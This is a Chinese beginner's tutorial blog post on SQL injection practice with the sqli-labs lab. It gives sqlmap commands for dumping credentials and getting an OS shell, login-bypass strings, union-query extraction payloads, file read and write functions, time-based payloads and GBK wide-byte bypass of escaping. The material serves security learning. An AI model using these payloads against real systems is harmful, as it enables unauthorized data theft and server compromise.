小白入坑第三步-了解sql注入

任务来袭:

  • 使用phpstudy、sqllibs搭建注入环境
  • 学会sqlmap基本用法
  • 熟练掌握联合查询的注入方法

学习笔记

基本概念

  • SQL 注入是一种将 SQL 代码插入或添加到应用(用户)的输入参数中,之后再讲这些参数传递给后台的 SQL 服务器加以解析并执行的攻击。
  • 攻击者能够修改 SQL 语句,该进程将与执行命令的组件(如数据库服务器、应用服务器或 WEB 服务器)拥有相同的权限。
  • 如果 WEB 应用开发人员无法确保在将从 WEB 表单、cookie、输入参数等收到的值传递给 SQL 查询(该查询在数据库服务器上执行)之前已经对其进行过验证,通常就会出现 SQL 注入漏洞。

常用工具

  • Burp Suite
  • Tamper Data (Firefox addon)
  • HackBar (Firefox addon)
  • sqlmap

使用phpstudy、sqllibs搭建注入环境

1、先准备相应的phpstudy、sqllibs
sqli-labs: https://github.com/audi-1/sqli-labs
phpstudy: https://jingyan.baidu.com/article/a3f121e4879a86fc9052bb05.html

2、将下载好的sqli-labs-master解压至phpstudy的网站根目录下
1

3、配置sqli-labs的数据库,phpstudy的数据库默认用户名跟密码都是root,更改sqli-labs-master\sql-connections文件夹中db-creds.inc文件中的用户名密码为root

2

4、在浏览器访问127.0.0.1/sqli-labs-master出现如下界面,点击Setup/reset Database for labs进行数据库的配置

3

5

5、回退之后,下拉可以看到有22个漏洞练习,就可以开始sql注入的破解之路了

4

学会sqlmap基本用法

安装sqlmap

可以直接去git 上下载一个安装包 https://github.com/sqlmapproject/sqlmap

python C:\Users\1216\Desktop\ctf工具\sqlmap-master\sqlmap.py

sqlmap基本用法

经典六步法:

sqlmap.py -u “xxx” --cookie="yyy" //带上cookie对url进行注入探测
 sqlmap.py -u “xxx” --cookie=“yyy” --current-db //对数据库名进行获取
sqlmap.py -u “xxx” --cookie=“yyy” -D a --tables //对数据库a的表名进行枚举
sqlmap.py -u “xxx” --cookie=“yyy” -D a -T users --columns //对a库里的名为users表的列名进行枚举
sqlmap.py -u “xxx” --cookie=“yyy” -D a -T users -C (first_)name,password --dump //探测user表name和password字段
sqlmap.py -u “xxx” --cookie=“yyy” --os-shell //获取shell,选择后台语言
sqlmap.py -u “xxx” --cookie=“yyy” --dbs //列出所有数据库
sqlmap.py -u “xxx” --cookie=“yyy” --users //显示当前登录的用户’root‘@‘localhost’
sqlmap.py -u “xxx” --cookie=“yyy” --purge-output //清除之前的缓存日志
sqlmap.py -u “xxx” --cookie=“yyy” --password //对跑出来的密码进行枚举

感谢三位大佬博客:
http://baijiahao.baidu.com/s?id=1586785344681018734&wfr=spider&for=pc
https://www.cnblogs.com/christychang/p/6047072.html
https://blog.csdn.net/u011377996/article/details/81368482

熟练掌握联合查询的注入方法

熟练掌握联合查询的注入方法

注入常见参数

  • user():当前数据库用户
  • database():当前数据库名
  • version():当前使用的数据库版本
  • @@datadir:数据库存储数据路径
  • concat():联合数据,用于联合两条数据结果。如 concat(username,0x3a,password)
  • group_concat():和 concat() 类似,如 group_concat(DISTINCT+user,0x3a,password),用于把多条数据一次注入出来
  • concat_ws():用法类似
  • hex()unhex():用于 hex 编码解码
  • load_file():以文本方式读取文件,在 Windows 中,路径设置为 \\
  • select xxoo into outfile '路径':权限较高时可直接写文件

后台万能密码

  • admin' --
  • admin' #
  • admin'/*
  • ' or 1=1--
  • ' or 1=1#
  • ' or 1=1/*
  • ') or '1'='1--
  • ') or ('1'='1--
  • 以不同的用户登陆 ' UNION SELECT 1, 'anotheruser', 'doesnt matter', 1--

注入语句备忘

1、判断注入点:

and 1=1 //显示正常

and 1=2 //显示错误

表示有注入点(整形判断)

’ and 1=1 %23 //显示正常

’ and 1=2 %23 //显示错误

表示有注入点(字符注入)

2、判断查询列数

order by 函数是对MySQL中查询结果按照指定字段名进行排序,除了指定字 段名还可以指定字段的栏位进行排序,第一个查询字段为1,第二个为2,依次 类推

例:order by 4%23 //显示错误,不是4

​ order by 3%23 //显示正常,是3

3、判断显示位

?id = -1 'union select 1,2,3%23

4、获取所有数据库名

SELECT database();
SELECT schema_name FROM information_schema.schemata;
?id = -1 ' union select 1,2(select group_concat(SCHEMA_NAME) from information_schema.SCHEMATA)%23

5、获取表名

UNION SELECT GROUP_CONCAT(table_name) FROM information_schema.tables WHERE version=10;   /* 列出当前数据库中的表 */
UNION SELECT TABLE_NAME FROM information_schema.tables WHERE TABLE_SCHEMA=database();   /* 列出所有用户自定义数据库中的表 */
SELECT table_schema, table_name FROM information_schema.tables WHERE table_schema!='information_schema' AND table_schema!='mysql';
SELECT table_name FROM information_schema.columns WHERE column_name = 'username';      /* 查询字段名为 username 的表*/
SELECT table_name FROM information_schema.columns WHERE column_name LIKE '%user%';   /* 查询字段名中包含 username 的表*/
?id=-1' union select 1,(select group_concat(table_name) from information_schema.tables where table_schema='security'),3%23

6、获取列名

UNION SELECT GROUP_CONCAT(column_name) FROM information_schema.columns WHERE table_name = 'tablename'
?id=-1' union select 1,(select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users'),3%23

7、获取列中的信息

?id=-1' union select 1,(select concat_ws(char(32,58,32),username,password) from users limit 1,1),3%23   //用limit控制,一行行得到数据

8、绕过字符串黑名单

SELECT 'a' 'd' 'mi' 'n';
SELECT CONCAT('a', 'd', 'm', 'i', 'n');
SELECT CONCAT_WS('', 'a', 'd', 'm', 'i', 'n');
SELECT GROUP_CONCAT('a', 'd', 'm', 'i', 'n');

使用 CONCAT() 时,任何个参数为 null,将返回 null,推荐使用 CONCAT_WS()CONCAT_WS()函数第一个参数表示用哪个字符间隔所查询的结果。

9、条件语句

CASE, IF(), IFNULL(), NULLIF().

SELECT IF(1=1, true, false);
SELECT CASE WHEN 1=1 THEN true ELSE false END;

10、延时函数

SLEEP(), BENCHMARK().

' - (IF(MID(version(),1,1) LIKE 5, BENCHMARK(100000,SHA1('true')), false)) - '

11、宽字节注入

国内最常使用的 GBK 编码,这种方式主要是绕过 addslashes 等对特殊字符进行转移的绕过。反斜杠 \ 的十六进制为 %5c,在你输入 %bf%27 时,函数遇到单引号自动转移加入 \,此时变为 %bf%5c%27%bf%5c 在 GBK 中变为一个宽字符「縗」。%bf 那个位置可以是 %81-%fe 中间的任何字符。不止在 SQL 注入中,宽字符注入在很多地方都可以应用。

发布了54 篇原创文章 · 获赞 25 · 访问量 1万+

猜你喜欢

转载自blog.csdn.net/wyj_1216/article/details/86755045